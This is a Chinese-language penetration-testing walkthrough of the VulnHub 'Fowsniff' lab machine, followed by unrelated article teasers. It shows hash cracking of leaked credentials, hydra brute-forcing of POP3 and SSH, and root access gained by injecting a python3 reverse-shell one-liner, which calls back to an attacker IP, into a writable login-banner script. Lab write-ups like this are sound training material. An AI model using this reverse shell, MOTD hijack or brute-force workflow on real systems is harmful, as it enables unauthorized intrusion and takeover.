[VulnHub靶机渗透] Fowsniff

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nikto漏洞扫描

nmap漏洞扫描

二、渗透测试+信息收集

1、web渗透

2、目录扫描

3、信息收集

4、pop3渗透测试

三、提权

1、信息收集

2、反弹shell

3、flag


前言

靶机精讲之Fowsniff靶机,涉及诸多信息收集,比如web信息收集、媒体网站信息收集、工具站信息收集、pop3服务器信息收集,还涉及john和hydra密码暴力破解,crackmapexec密码碰撞,ssh的banner脚本提权等,可以到vulnhub下载靶机边看视频边实操,是一台构思精巧、全面磨练日常渗透技能的的高仿真靶机,非常值得学习。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.31.185

┌──(root💀kali)-[~]
└─# arp-scan -l

2、端口扫描

发现开放了22、80、110、143端口,发现110端口开放了pop3服务

pop3 是一种 Internet 邮件访问协议,它允许用户通过客户端应用程序(如电子邮件客户端)从邮件服务器接收电子邮件。Dovecot pop3d 是一个开源的 pop3 服务器软件,用于提供 pop3 访问服务。

┌──(root??kali)-[~]
└─# nmap -sS -A -p- 192.168.31.185 

3、漏洞扫描

nikto漏洞扫描

利用nikto漏洞扫描工具,简单地扫描到了一些目录文件,访问发现,对于渗透测试没有什么价值

┌──(root💀kali)-[~]
└─# nikto -h 192.168.31.185

nmap漏洞扫描

nmap扫描发现一些目录,比如robots.txt关键目录可以尝试访问下,还扫描发现了CVE:CVE-2007-6750漏洞以及sql注入漏洞,我们后面如果还是对靶场没有什么突破,我们到时候就可以回到这里进行验证下。

┌──(root💀kali)-[~]
└─# nmap --script=vuln -p22,80,110,143 192.168.31.185 

漏洞:CVE:CVE-2007-6750,是用于攻击一些恶意网站,使其恶意网站瘫痪,访问不了的作用,有点像ddos攻击,感兴趣的师傅们可以尝试一下。

二、渗透测试+信息收集

1、web渗透

发现web页面没有找到什么有价值的信息,就是告诉我们这个网站被黑客攻击,然后网站停运了,说什么员工管理员的信息泄露之类的,目前看没有什么有价值的 。

右击查看网页源代码,没有发现什么隐藏的信息

一般可能会存在框架漏洞,但是这里没有发现什么框架漏洞

2、目录扫描

目录扫描发现比之前多了一个/security.txt目录,我们尝试访问下

┌──(root??kali)-[~]
└─# dirb http://192.168.31.185 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -X .php,.txt
  • http://192.168.31.185这是您指定的目标 URL,即要进行目录扫描的网站地址。
  • -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt这个参数用来指定字典文件的位置。在这里,您使用了 -w 参数并提供了一个字典文件的路径 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
  • -X .php,.txt这个参数指定了要排除的文件扩展名。在这个命令中,您使用 -X 参数并列出了 .php.txt,这意味着 Dirb 将会扫描到的 URL 中排除这些特定的文件类型。

/security.txt,

这段文本描述了一个名为 “FOWSNIFF” 的组织(可能虚构),声称他们被 “B1gN1nj4” 攻击并被完全控制(pwned)。看到这里我们想到开始80端口web页面,有一个推特的账号,说什么信息泄露的,我们可以尝试上网找下信息

3、信息收集

利用Google浏览器查找@fowsniffcorp Twitter,第一个就是下面的内容,这个图片很明显是黑客攻击网站成功以后,挂的黑页,我们尝试点击FowSniff - Explained. - Pastebin.com

我们发现下面有passwd密码的信息,所以我们尝试访问下面的.txt文件,查找密码有关的信息

发现很多的账号密码,密码进行了加密,后面我们需要对密码进行解密操作,然后还发现pop3,我们开始端口扫描也发现了这个,很有可能作者就是要让我们pop3进行登录查看信息

把这些内容保存到文档中

mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e

利用hash-identifier,发现是MD5加密的,我们可以利用john进行解密

┌──(root💀kali)-[~/桌面]
└─# hash-identifier "8a28a94a588a95b80163709ab4313aa4"##########################################################################     __  __                     __           ______    _____           ##    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         ##    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        ##     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       ##      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      ##       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      ##        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 ##                                                             By Zion3R ##                                                    www.Blackploit.com ##                                                   Root@Blackploit.com ##########################################################################
--------------------------------------------------Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

用john破解一下,指定字典为rockyou.txt:

┌──(root💀kali)-[~/桌面]
└─# john --format=RAW-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash

4、pop3渗透测试

把利用john解密出来的保存到pop3hash文件中

┌──(root💀kali)-[~/桌面]
└─# vim pop3hash  ┌──(root💀kali)-[~/桌面]
└─# cat pop3hash  
scoobydoo2       (seina@fowsniff)
orlando12        (parede@fowsniff)
apples01         (tegel@fowsniff)
skyler22         (baksteen@fowsniff)
mailcall         (mauer@fowsniff)
07011972         (sciana@fowsniff)
carp4ever        (mursten@fowsniff)
bilbo101         (mustikka@fowsniff)

将用户信息和密码信息分别保存:

┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $1}'                                                                                                                         1 ⨯ 1 ⚙
scoobydoo2
orlando12
apples01
skyler22
mailcall
07011972
carp4ever
bilbo101┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $1}' > pop3pwd                                                                                                                   1 ⚙┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}'                                                                                                   1 ⚙
(seina
(parede
(tegel
(baksteen
(mauer
(sciana
(mursten
(mustikka┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}'                                                                         1 ⚙
seina
parede
tegel
baksteen
mauer
sciana
mursten
mustikka┌──(root💀kali)-[~/桌面]
└─# cat pop3hash | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}' > pop3usrs                                                              1 ⚙┌──(root💀kali)-[~/桌面]
└─# ls                                                                                                                                                                 1 ⚙
CTF   Docker    hash     pop3hash  pop3usrs    pop3pwd   

如今我们已经有了pop3登录的账号和密码了,我们就可以利用hydra九头蛇进行爆破了

发现账号是seina 密码是scoobydoo2

┌──(root💀kali)-[~/桌面]
└─# hydra -L pop3usrs -P pop3pwd 192.168.31.185 pop3

发现pop3登录成功了:

┌──(root💀kali)-[~/桌面]
└─# telnet 192.168.31.185 110                                                                                                                                        255 ⨯
Trying 192.168.31.185...
Connected to 192.168.31.185.
Escape character is '^]'.
+OK Welcome to the Fowsniff Corporate Mail Server!
user seina
+OK
pass scoobydoo2
+OK Logged in.

获取邮件数量和大小:

stat    // 获取邮件数量和总大小
list    // 列出所有邮件的编号和大小
retr <邮件编号>    // 检索指定邮件内容
top <邮件编号> <行数>    // 检索指定邮件的前几行内容

查看第一个邮件内容,发现stone用户邮件里面有ssh临时登录的密码

list
+OK 2 messages:
1 1622
2 1280
.
retr 1

这是一封来自 “stone@fowsniff” 的邮件,以下是邮件中的一些重要信息:

  • 发件人(From): stone@fowsniff
  • 收件人(To): baksteen@fowsniff, mauer@fowsniff, mursten@fowsniff, mustikka@fowsniff, parede@fowsniff, sciana@fowsniff, seina@fowsniff, tegel@fowsniff
  • 主题(Subject): URGENT! Security EVENT!
  • 日期(Date): Tue, 13 Mar 2018 14:51:07 -0400 (EDT)
  • 正文内容:邮件提醒公司内部系统遭到恶意攻击,攻击者利用 SQL 数据库中错误过滤的转义字符来访问登录凭据。为了重新建设系统安全,暂时转移到仅具有最小功能的临时服务器,但只能通过 SSH 访问该服务器。SSH 的临时密码为 “S1ck3nBluff+secureshell”,并强调需要尽快更改密码。

查看第二封邮件

这是一封来自 “baksteen@fowsniff” 的邮件,以下是邮件中的一些重要信息:

  • 发件人(From): baksteen@fowsniff
  • 收件人(To):seina@fowsniff
  • 主题(Subject):You missed out!
  • 日期(Date):Tue, 13 Mar 2018 14:54:05 -0400 (EDT)
  • 正文内容:邮件内容提到关于 AJ 的一次会议中发生了一些有趣的事情,AJ 被大家批评了一番。提到 AJ 曾在海军服役,并且一直用粗俗的语言表达自己的情绪。邮件内容还提到发件人开始感到不舒服了,可能也染上了 Devin 带回来的肺炎,希望 Devin 能迅速康复,并提醒 Devin 更改邮箱密码。

我们可以尝试利用hydra九头蛇,利用刚才找到的临时ssh密码去进行与pop3usrs文件里面的账号进行爆破,尝试登录ssh,因为刚才两封邮件里面的账户都是pop3usrs里面的账户

[22][ssh] host: 192.168.31.185   login: baksteen   password: S1ck3nBluff+secureshell
┌──(root💀kali)-[~/桌面]
└─# vim pop3pwd                                                                                                                                                  255 ⨯ 2 ⚙┌──(root💀kali)-[~/桌面]
└─# hydra -L pop3usrs -P pop3pwd 192.168.31.185 ssh

ssh登录成功

┌──(root💀kali)-[~/桌面]
└─# ssh baksteen@192.168.31.185                                                                                                                                        2 ⚙
The authenticity of host '192.168.31.185 (192.168.31.185)' can't be established.
ECDSA key fingerprint is SHA256:5i4lzzyTeroRL7skmPatRi24vG1+59KMgqHGLyxre9Y.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.31.185' (ECDSA) to the list of known hosts.
baksteen@192.168.31.185's password: _____                       _  __  __  :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|  :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_   
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|  
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|   
-:      y.      dssssssso                ____                      
-:      y.      dssssssso               / ___|___  _ __ _ __        
-:      y.      dssssssso              | |   / _ \| '__| '_ \     
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _  
-:      o.      yssssssso               \____\___/|_|  | .__/  (_) 
-:    .+mdddddddmyyyyyhy:                              |_|        
-: -odMMMMMMMMMMmhhdy/.    
.ohdddddddddddddho:                  Delivering Solutions****  Welcome to the Fowsniff Corporate Server! **** ---------- NOTICE: ----------* Due to the recent security breach, we are running on a very minimal system.* Contact AJ Stone -IMMEDIATELY- about changing your email and SSH passwords.New release '18.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.Last login: Tue Mar 13 16:55:40 2018 from 192.168.7.36
baksteen@fowsniff:~$ 

三、提权

1、信息收集

sudo提权和crontab自动化任务都没有什么提权的点

baksteen@fowsniff:~$ sudo -l
[sudo] password for baksteen: 
Sorry, user baksteen may not run sudo on fowsniff.
baksteen@fowsniff:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user  command
17 *  * * *  root    cd / && run-parts --report /etc/cron.hourly
25 6  * * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6  * * 7  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6  1 * *  root  test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
baksteen@fowsniff:~$ 

本来想到家目录查找一下提权的信息,但是都没有权限,没有找到有价值的信息

baksteen@fowsniff:/home$ pwd
/home
baksteen@fowsniff:/home$ ls
baksteen  mauer  mursten  mustikka  parede  sciana  seina  stone  tegel
baksteen@fowsniff:/home$ cd seina
-bash: cd: seina: Permission denied
baksteen@fowsniff:/home$ cd mauer
-bash: cd: mauer: Permission denied
baksteen@fowsniff:/home$ cd tegel
-bash: cd: tegel: Permission denied
baksteen@fowsniff:/home$ 

SUID提权,也没有找到能够直接提权的命令

baksteen@fowsniff:/home$ find / -user root -perm -4000 -print 2>/dev/null
/bin/mount
/bin/fusermount
/bin/umount
/bin/ping
/bin/su
/bin/ntfs-3g
/bin/ping6
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/procmail
/usr/bin/sudo
/usr/bin/chsh

尝试内核提权,也没有成功

baksteen@fowsniff:/home$ uname -a
Linux fowsniff 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

后来是查看大佬的博客,发现是找可写入的文件中,然后尝试反弹shell

我们这里需要注意一个小细节:我们需要先切换到/usr目录下(具有可写入权限)

baksteen@fowsniff:/usr$ find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null
/opt/cube/cube.sh
/home/baksteen/.cache/motd.legal-displayed
/home/baksteen/Maildir/dovecot-uidvalidity
/home/baksteen/Maildir/dovecot.index.log
/home/baksteen/Maildir/new/1520967067.V801I23764M196461.fowsniff
/home/baksteen/Maildir/dovecot-uidlist
/home/baksteen/.viminfo
/home/baksteen/.bash_history
/home/baksteen/.lesshsQ
/home/baksteen/.bash_logout
/home/baksteen/term.txt
/home/baksteen/.profile
/home/baksteen/.bashrc
baksteen@fowsniff:/usr$ 

我们这里查看下/opt/cube/cube.sh文件的权限,发现是可以写入的权限,我们发现这个文件就是我们开始ssh登录进去的页面,所以说这个文件就是当ssh远程登录的时候,我们拿kali监听,可以尝试写入反弹shell的木马进去,然后得到root权限。

baksteen@fowsniff:/usr$ ls -la /opt/cube/cube.sh
-rw-rwxr-- 1 parede users 851 Mar 11  2018 /opt/cube/cube.sh
baksteen@fowsniff:/usr$ cat /opt/cube/cube.sh
printf "_____                       _  __  __  :sdddddddddddddddy+  |  ___|____      _____ _ __ (_)/ _|/ _|  :yNMMMMMMMMMMMMMNmhsso  | |_ / _ \ \ /\ / / __| '_ \| | |_| |_   
.sdmmmmmNmmmmmmmNdyssssso  |  _| (_) \ V  V /\__ \ | | | |  _|  _|  
-:      y.      dssssssso  |_|  \___/ \_/\_/ |___/_| |_|_|_| |_|   
-:      y.      dssssssso                ____                      
-:      y.      dssssssso               / ___|___  _ __ _ __        
-:      y.      dssssssso              | |   / _ \| '__| '_ \     
-:      o.      dssssssso              | |__| (_) | |  | |_) |  _  
-:      o.      yssssssso               \____\___/|_|  | .__/  (_) 
-:    .+mdddddddmyyyyyhy:                              |_|        
-: -odMMMMMMMMMMmhhdy/.    
.ohdddddddddddddho:                  Delivering Solutions\n\n"baksteen@fowsniff:/usr$ 

2、反弹shell

这里给师傅们推荐一个蛮好用的自动化写反弹shell木马的网站,页面也是蛮好看的一个网站,我这里选择python3进行反弹shell。

Online - Reverse Shell GeneratorOnline Reverse Shell generator with Local Storage functionality, URI & Base64 Encoding, MSFVenom Generator, and Raw Mode. Great for CTFs.icon-default.png?t=N7T8https://www.revshells.com/

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.31.225",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'┌──(root💀kali)-[~/桌面]
└─# nc -lvnp 1234                                                                                                                                                      1 ⚙
listening on [any] 1234 ...┌──(root💀kali)-[~/桌面]
└─# ssh baksteen@192.168.31.185                                                                                              
baksteen@192.168.31.185's password: 

3、flag

反弹shell成功,成功拿到root权限

┌──(root💀kali)-[~]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.31.225] from (UNKNOWN) [192.168.31.185] 59410
root@fowsniff:/# id
id
uid=0(root) gid=0(root) groups=0(root)
root@fowsniff:/# whoami
whoami
root
root@fowsniff:/# cd /root
cd /root
root@fowsniff:/root# ls -la
ls -la
total 28
drwx------  4 root root 4096 Mar  9  2018 .
drwxr-xr-x 22 root root 4096 Feb 16 11:17 ..
-rw-r--r--  1 root root 3117 Mar  9  2018 .bashrc
drwxr-xr-x  2 root root 4096 Mar  9  2018 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
drwx------  5 root root 4096 Mar  9  2018 Maildir
-rw-r--r--  1 root root  582 Mar  9  2018 flag.txt
root@fowsniff:/root# cat flag.txt
cat flag.txt___                        _        _      _   _             _ / __|___ _ _  __ _ _ _ __ _| |_ _  _| |__ _| |_(_)___ _ _  __| || (__/ _ \ ' \/ _` | '_/ _` |  _| || | / _` |  _| / _ \ ' \(_-<_|\___\___/_||_\__, |_| \__,_|\__|\_,_|_\__,_|\__|_\___/_||_/__(_)|___/ (_)|--------------|&&&&&&&&&&&&&&||    R O O T   ||    F L A G   ||&&&&&&&&&&&&&&||--------------||||||---Nice work!This CTF was built with love in every byte by @berzerk0 on Twitter.Special thanks to psf, @nbulischeck and the whole Fofao Team.root@fowsniff:/root# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/686858.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux系统化学习】缓冲区

目录 缓冲区 一个样例 现象解释 缓冲区存在的位置 缓冲区 在刚开始学习C语言的时候我们就听过缓冲区这个名词&#xff0c;很是晦涩难懂&#xff1b;在Linux下进程退出时也包含缓冲区&#xff0c;因此缓冲区到底是什么&#xff1f;有什么作用&#xff1f; 让我们先从一个小…

项目架构梳理

单点登录组件 CREATE TABLE user_info (id int(11) NOT NULL AUTO_INCREMENT COMMENT 自增主键,用户id,username varchar(30) NOT NULL COMMENT 用户姓名,password varchar(60) NOT NULL COMMENT 密码,token varchar(60) DEFAULT NULL COMMENT token,token_expire datetime DEF…

redis高级篇

为什么用单线程 开始多线程和io复用 linux连接redis其实就是一个socket过程 bigkey记录案例和生产故障 插入100w数据 不使用key*那使用什么&#xff1f;&#xff1a;scan bigkey发现删除优化策略

代码随想录day21--回溯基础

理论基础 回溯法也可以叫回溯搜索法&#xff0c;它是一种搜索的方式。我们在二叉树中也多次提到了回溯。回溯是递归的副产品&#xff0c;只要使用了递归就会有回溯&#xff0c;我们我们就可以笼统的将回溯函数称为递归函数 回溯法解决的问题 1.组合问题&#xff1a;N个数里面…

非线性一元方程求解——弦截法、牛顿迭代法(C++)

一元方程 对于一元方程&#xff0c;如果要求f(x)0的解&#xff0c;其过程大致包括如下三个问题&#xff1a; 根的存在性&#xff1a;是否有根&#xff0c;如果有&#xff0c;有几个&#xff1f;根的分布&#xff1a;根分布区间&#xff1b;求根的公式&#xff1a;如何从根的近…

成本效能FinOps: Crane 部署

目录 一、实验 1.环境 2.安装kind 3.安装Crane 二、问题 1.脚本安装prometheus报错 2.查看集群信息失败 3.Helm添加grafana 报错 4.查看crane资源失败 5.prometheus部署时kube-state-metrics 拉取镜像显示ImagePullBackOff 6.Crane 功能与架构 一、实验 1.环境 &a…

记录 | 验证pytorch-cuda是否安装成功

检测程序如下&#xff1a; import torchprint(torch.__version__) print(torch.cuda.is_available()) 或者用终端 Shell&#xff0c;运行情况如下

单片机移植Lua(STM32H743移植Lua-5.4.6)

文章目录 目的移植演示示例链接更多说明合理设置内存大小按需加载标准库实现系统和IO接口设置引用路径 总结 目的 通常单片机都是使用C/C来开发的&#xff0c;任何修改都需要重新编译固件然后下载运行。在一些需要灵活性更强的场合中可以内嵌Lua解释器实现动态更新应用程序的功…

【Linux】管道文件 打包压缩 文本编辑器nano 进度条

目录 什么是管道文件&#xff1f; 打包和压缩 文本编辑器 nano的安装 nano的使用 退出nano编辑&#xff0c;ctrlx 普通用户无法sudo&#xff0c;该怎么解决 Linux小程序-进度条 预备知识 1.回车换行 2.缓冲区 准备工作 代码实现 1.processBar.h代码编写 2.main.c代…

@ControllerAdvice 的介绍及三种用法

ControllerAdvice 的介绍及三种用法 浅析ControllerAdvice 首先&#xff0c;ControllerAdvice本质上是一个Component&#xff0c;因此也会被当成组建扫描&#xff0c;一视同仁&#xff0c;扫扫扫。 然后&#xff0c;我们来看一下此类的注释&#xff1a; 这个类是为那些声明了&…

订餐|网上订餐系统|基于springboot的网上订餐系统设计与实现(源码+数据库+文档)

网上订餐系统目录 目录 基于springboot的网上订餐系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、用户功能模块的实现 &#xff08;1&#xff09;用户注册界面 &#xff08;2&#xff09;用户登录界面 &#xff08;3&#xff09;菜品详情界面 &#xff08…

Codeforces Round 486 (Div. 3)

目录 A. Diverse Team B. Substrings Sort C. Equal Sums D. Points and Powers of Two E. Divisibility by 25 F. Rain and Umbrellas A. Diverse Team 找出不重复的同时存下下标即可&#xff0c;依次遍历map判断重复最后判断数量即可 void solve(){cin>>n>>…

AI专题:5G-A扬帆风正劲,踏AI增长新浪潮

今天分享的是AI系列深度研究报告&#xff1a;《AI专题&#xff1a;5G-A扬帆风正劲&#xff0c;踏AI增长新浪潮》。 &#xff08;报告出品方&#xff1a;开源证券&#xff09; 报告共计&#xff1a;22页 足立连接&#xff0c;拓展算力&#xff0c;双曲线稳步发力 中兴通讯拥…

【论文精读】DALL·E

摘要 本文利用从互联网上收集的2.5亿个图像/文本对数据&#xff0c;训练了一个120亿参数的自回归transformer&#xff0c;进而得到一个可以通过自然语言/图像控制生成的高保真图像生成模型。在大多数数据集上的表现超越以往的方法。 框架 本文的目标为通过训练一个自回归trans…

java+SSM+mysql 开放式实验管理系统78512-计算机毕业设计项目选题推荐(免费领源码)

摘 要 我国高校开放式实验管理普遍存在实验设备使用率较低、管理制度不完善,实验设备共享程度不高等诸多问题。要在更大范围推行开放式实验管理,就必须在开放式实验教学管理流程中,通过引入信息化管理加大信息技术在其中的应用,才能真正发挥这种教学模式的开放性优势。 本系统…

文生视频:Sora模型报告总结

作为世界模拟器的视频生成模型 我们探索视频数据生成模型的大规模训练。具体来说&#xff0c;我们在可变持续时间、分辨率和宽高比的视频和图像上联合训练文本条件扩散模型。我们利用对视频和图像潜在代码的时空补丁进行操作的变压器架构。我们最大的模型 Sora 能够生成一分钟…

小苯的数组切分 ---- 牛客月赛

题目描述 qionghuaqionghuaqionghua 给了小苯一个长度为 n 的数组 a&#xff0c;希望小苯将数组 aaa 分为恰好非空的三段。即&#xff1a;[1,l−1],[l,r],[r1,n]这三段&#xff0c;其中 1< l≤r<n。接着&#xff1a; ∙ 第一段的所有数字做 ⊕&#xff08;按位异或&…

【C语言相关问题】C语言中关于大小写字母转换的问题

大家好&#xff0c;这里是争做图书馆扫地僧的小白。非常感谢各位的支持&#xff0c;也期待着您的关注。 目前博主有着C语言、C、linux以及数据结构的专栏&#xff0c;内容正在逐步的更新。 希望对各位朋友有所帮助同时也期望可以得到各位的支持&#xff0c;有任何问题欢迎私信与…

每日OJ题_算法_递归④力扣24. 两两交换链表中的节点

目录 ④力扣24. 两两交换链表中的节点 解析代码 ④力扣24. 两两交换链表中的节点 24. 两两交换链表中的节点 难度 中等 给你一个链表&#xff0c;两两交换其中相邻的节点&#xff0c;并返回交换后链表的头节点。你必须在不修改节点内部的值的情况下完成本题&#xff08;即…

【大厂AI课学习笔记】【2.1 人工智能项目开发规划与目标】(2)项目开发周期

我们来学习项目开发的周期。 再次声明&#xff0c;本文来自腾讯AI课的学习笔记&#xff0c;图片和文字&#xff0c;仅用于大家学习&#xff0c;想了解更多知识&#xff0c;请访问腾讯云相关章节。如果争议&#xff0c;请联系作者。 今天&#xff0c;我们来学习AI项目的周期。 主…